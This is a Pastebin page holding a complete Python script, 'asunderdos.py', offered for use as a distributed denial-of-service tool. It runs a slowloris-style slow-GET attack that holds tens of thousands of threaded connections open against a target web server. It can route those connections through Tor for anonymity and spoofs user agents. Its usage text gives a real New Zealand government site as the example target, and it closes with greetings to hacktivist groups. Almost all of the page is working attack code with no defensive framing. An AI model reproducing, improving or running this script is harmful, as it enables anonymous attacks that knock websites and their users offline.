Advertisement
anonymousMLG

DDOS SCRIPT

Oct 9th, 2017
1,537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.44 KB | None | 0 0
  1. #!/usr/bin/python
  2. #asunderdos.py(Slow GET request resource Hog with ideas from slowloris/slow-read/sockstress/torshammer)
  3. #Normal Execution: ./asunderdos.py -T -t www.site.com -p 80 [-p=port -t=target -r threads(256 default) -T=tor]
  4. import os
  5. import re
  6. import time
  7. import sys
  8. import random
  9. import math
  10. import getopt
  11. import socks
  12. import string
  13. import terminal
  14.  
  15. from threading import Thread
  16.  
  17. global stop_now
  18. global term
  19.  
  20. stop_now = False
  21. term = terminal.TerminalController()
  22. referers = [
  23. "http://www.google.com/?q="
  24. "http://www.usatoday.com/search/results?q="
  25. "http://engadget.search.aol.com/search?q="
  26. ]
  27.  
  28. useragents = [
  29. "Mozilla/5.0 (Linux; Android 4.4.4; Nexus 5 Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36",
  30. "Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9305T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
  31. "Mozilla/5.0 (Linux; U; Android 4.2.2; my-mm; GT-M6a Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
  32. "Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00F Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36",
  33. "Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; I9192 Build/MocorDroid2.3.5) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  34. "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5100 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Safari/537.36",
  35. "Mozilla/5.0 (Linux; Android 4.3; SM-G7102 Build/JLS36C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.136 Mobile Safari/537.36",
  36. "Mozilla/5.0 (Linux; Android 4.2.2; Galaxy S4 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36",
  37. "Mozilla/5.0 (Linux; Android 4.4.2; en-us; SM-N900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36",
  38. "Mozilla/5.0 (Linux; Android 4.4.4; XT1097 Build/KXE21.187-45) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.117 Mobile",
  39. "Mozilla/5.0 (Linux; Android 4.4.4; XT1097 Build/KXE21.187-30.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile",
  40. "Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; Lenovo A369i Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
  41. "Mozilla/5.0 (Linux; Android 4.3; D2305 Build/18.0.A.1.30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36",
  42. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; LG-D802 Build/KOT49I.D80220c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36",
  43. "Mozilla/5.0 (Linux; U; Android 4.2.2; vi-vn; mobiistar touch BEAN 402c Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
  44. "Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; XT1080 Build/SU4.21) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.16",
  45. "Mozilla/5.0 (Linux; U; Android 4.3; en-ca; HUAWEI G6-L11 Build/HuaweiG6-L11) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
  46. "Mozilla/5.0 (Linux; Android 4.1.2; LG-F160L Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36",
  47. "Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; SonyC1505 Build/11.3.A.2.23) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
  48. "Mozilla/5.0 (Linux; U; Android 4.2.2; th-th; HUAWEI Y511-U30 Build/HUAWEIY511-U30) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
  49. "Mozilla/5.0 (Series40; Nokia2700c/09.98; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/5.5.0.0.27",
  50. "Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4",
  51. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2194.2 Safari/537.36",
  52. "Mozilla/5.0 (X11; Linux i686; rv:6.0.2) (Q7sip7ZS4Ba8FkDSOvRNleYM4KEG59V8+uT/RC1tW0U=) Gecko/20100101 Firefox/6.0.2",
  53. "Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 925; ANZ892) like Gecko",
  54. "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 925; ANZ892) like Gecko",
  55. "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36",
  56. "Mozilla/5.0 (Windows NT 6.1; WOW64; ; CJPMS_AAPCA4157828C9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36",
  57. "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36",
  58. "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.14 Safari/537.17",
  59. "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2194.2 Safari/537.36",
  60. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 FirePHP/0.7.4",
  61. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30",
  62. "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36",
  63. "Mozilla/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/38.0.2125.59 Mobile/12A365 Safari/600.1.4",
  64. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.99 Safari/537.22",
  65. "Mozilla/5.0 (iPod touch; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4",
  66. "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.7 Safari/537.36",
  67. "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 OPR/25.0.1614.50",
  68. "Mozilla/5.0 (X11; CrOS x86_64 6158.64.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.108 Safari/537.36",
  69. "Guzzle/4.2.3 curl/7.35.0 PHP/5.5.9-1ubuntu4.4",
  70. "curl/7.30.0",
  71. "Mozilla/5.0 (Linux ia32) node.js/0.10.32 v8/3.14.5.9",
  72. "Mozilla/5.0 (compatible; Googlebot/4.1; en-US rv:9.3.7) Firefox/32.5",
  73. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7)",
  74. "AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3",
  75. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us)",
  76. "AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1",
  77. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1)",
  78. "Gecko/20100101 Firefox/5.0.1",
  79. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) ",
  80. "AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30",
  81. "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en)",
  82. "Presto/2.9.168 Version/11.50",
  83. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)",
  84. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  85. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  86. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  87. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/)",
  88. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  89. "zspider/0.9-dev http://feedback.redkolibri.com/",
  90. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  91. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  92. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  93. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  94. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  95. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  96. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  97. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  98. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  99. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  100. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  101. "TheSuBot/0.2 (www.thesubot.de)",
  102. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  103. "Mozilla/4.0 (compatible: FDSE robot)",
  104. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  105. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  106. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  107. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  108. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  109. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable)",
  110. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable)",
  111. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  112. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2)",
  113. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2)",
  114. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2)",
  115. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  116. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3)",
  117. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)",
  118. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)",
  119. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)",
  120. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  121. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  122. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  123. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  124. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  125. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)",
  126. "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)",
  127. "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0)",
  128. "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)",
  129. "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
  130. "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  131. "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  132. "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  133. "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  134. "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  135. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  136. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  137. "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  138. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  139. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  140. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET) ",
  141. "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  142. "Opera/9.20 (Windows NT 6.0; U; en)",
  143. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  144. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  145. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  146. "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  147. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  148. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16)",
  149. "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  150. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13)",
  151. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  152. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  153. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  154. "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  155. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0)",
  156. "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  157. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8)",
  158. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  159. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  160. "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  161. "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  162. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51)",
  163. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  164. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  165. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  166. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7) "
  167. "AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3",
  168. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) "
  169. "AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1",
  170. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1) "
  171. "Gecko/20100101 Firefox/5.0.1",
  172. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) "
  173. "AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30",
  174. "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) "
  175. "Presto/2.9.168 Version/11.50",
  176. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)"
  177. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  178. "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
  179. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  180. "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  181. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  182. "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  183. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  184. "Mozilla/5.7.4 (Fedora015; U; AMD_PhenX6 Linux Kernal 2.6.35.2; en-UK) DevKit/534.7 (Gecko) Chrome/7.0.517.44 GoogleR/9.47.1[BlackPanda]",
  185. ]
  186. #builds random ascii string(Imported this shit from Hulk.py:)
  187. def buildblock(self, size):
  188. out_str = ''
  189.  
  190. _LOWERCASE = range(97, 122)
  191. _UPPERCASE = range(65, 90)
  192. _NUMERIC = range(48, 57)
  193.  
  194. validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  195.  
  196. for i in range(0, size):
  197. a = random.choice(validChars)
  198. out_str += chr(a)
  199.  
  200. return out_str
  201.  
  202. class httpPost(Thread):
  203. def __init__(self, host, port, tor):
  204. Thread.__init__(self)
  205. self.host = host
  206. self.port = port
  207. self.socks = socks.socksocket()
  208. self.tor = tor
  209. self.running = True
  210.  
  211. def _send_http_get(self, pause = random.randrange(1, 10)):
  212. global stop_now
  213. self.socks.send("GET / HTTP/1.1\r\n"
  214. "Host: %s\r\n"
  215. "User-Agent: %s\r\n"
  216. "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
  217. "Accept: image/png,*/*;q=0.5\r\n"
  218. "Cache-Control: no-cache, max-age=0\r\n"
  219. "Connection: keep-alive\r\n"
  220. "Keep-Alive: 120\r\n"
  221. "Content-Length: 42\r\n\r\n" %
  222. #"Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
  223. (self.host, random.choice(useragents)))
  224.  
  225.  
  226. for i in range(0, 9999):
  227. if stop_now:
  228. self.running = False
  229. break
  230. p = random.choice(string.letters+string.digits)
  231. data = ['\x00','\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00']
  232. packet = random.choice(data)
  233. magic = random.choice(packet+p)
  234. print term.BOL+term.UP+term.CLEAR_EOL+"SENDING PACKETS!: %s" % magic+term.NORMAL
  235. self.socks.send(magic)
  236. time.sleep(random.uniform(0.1, 3))
  237.  
  238. self.socks.close()
  239.  
  240. def run(self):
  241. while self.running:
  242. while self.running:
  243. try:
  244. if self.tor:
  245. self.socks = socks.socksocket()
  246. self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  247. self.socks.connect((self.host, self.port))
  248. print term.BOL+term.UP+term.CLEAR_EOL+"Stressing target!!"+ term.NORMAL
  249. break
  250. except Exception, e:
  251. if e.args[0] == 106 or e.args[0] == 60:
  252. break
  253. print term.BOL+term.UP+term.CLEAR_EOL+"Failed - Make sure you removed http://"+ term.NORMAL
  254. time.sleep(1)
  255. continue
  256.  
  257. while self.running:
  258. try:
  259. self._send_http_get()
  260. except Exception, e:
  261. if e.args[0] == 32 or e.args[0] == 104:
  262. print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  263. self.socks = socks.socksocket()
  264. break
  265. time.sleep(1)
  266. pass
  267.  
  268. def usage():
  269. print "./asunderdos.py -t <target> [-r <threads> -p <port> -T -h]"
  270. print "---Asund3r---"
  271. print " Make sure you don't execute with http:// in your url"
  272. print " -t|--target <Hostname|IP>"
  273. print " -r|--threads <Number of threads> Defaults to 65000"
  274. print " -p|--port <Web Server Port> Defaults to 80"
  275. print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"
  276. print " -h|--help Shows this help\n"
  277. print "Eg. ./asundos.py -t www.justice.govt.nz -r 65000\n"
  278.  
  279. def main(argv):
  280.  
  281. try:
  282. opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
  283. except getopt.GetoptError:
  284. usage()
  285. sys.exit(-1)
  286.  
  287. global stop_now
  288.  
  289. target = ''
  290. threads = 65000
  291. tor = False
  292. port = 80
  293.  
  294. for o, a in opts:
  295. if o in ("-h", "--help"):
  296. usage()
  297. sys.exit(0)
  298. if o in ("-T", "--tor"):
  299. tor = True
  300. elif o in ("-t", "--target"):
  301. target = a
  302. elif o in ("-r", "--threads"):
  303. threads = int(a)
  304. elif o in ("-p", "--port"):
  305. port = int(a)
  306.  
  307. if target == '' or int(threads) <= 0:
  308. usage()
  309. sys.exit(-1)
  310.  
  311. print term.DOWN + term.RED + "/*" + term.NORMAL
  312. print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
  313. print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
  314. print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
  315. print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
  316.  
  317. rthreads = []
  318. for i in range(threads):
  319. t = httpPost(target, port, tor)
  320. rthreads.append(t)
  321. t.start()
  322.  
  323. while len(rthreads) > 0:
  324. try:
  325. rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
  326. except KeyboardInterrupt:
  327. print "\nShutting down threads...\n"
  328. for t in rthreads:
  329. stop_now = True
  330. t.running = False
  331.  
  332. if __name__ == "__main__":
  333. print "\n/*"
  334. print " *"+term.GREEN + "Asund3r"
  335. print " * Greetz to HighMindedSec"
  336. print " * Greetz to Anonymous Operations Aotearoa"
  337. print " * Greetz to AnonGhost "
  338. print " * Greetz to TeaMp0isoN"
  339. print " * Greetz to PentaSec"
  340. print " */\n"
  341.  
  342. main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement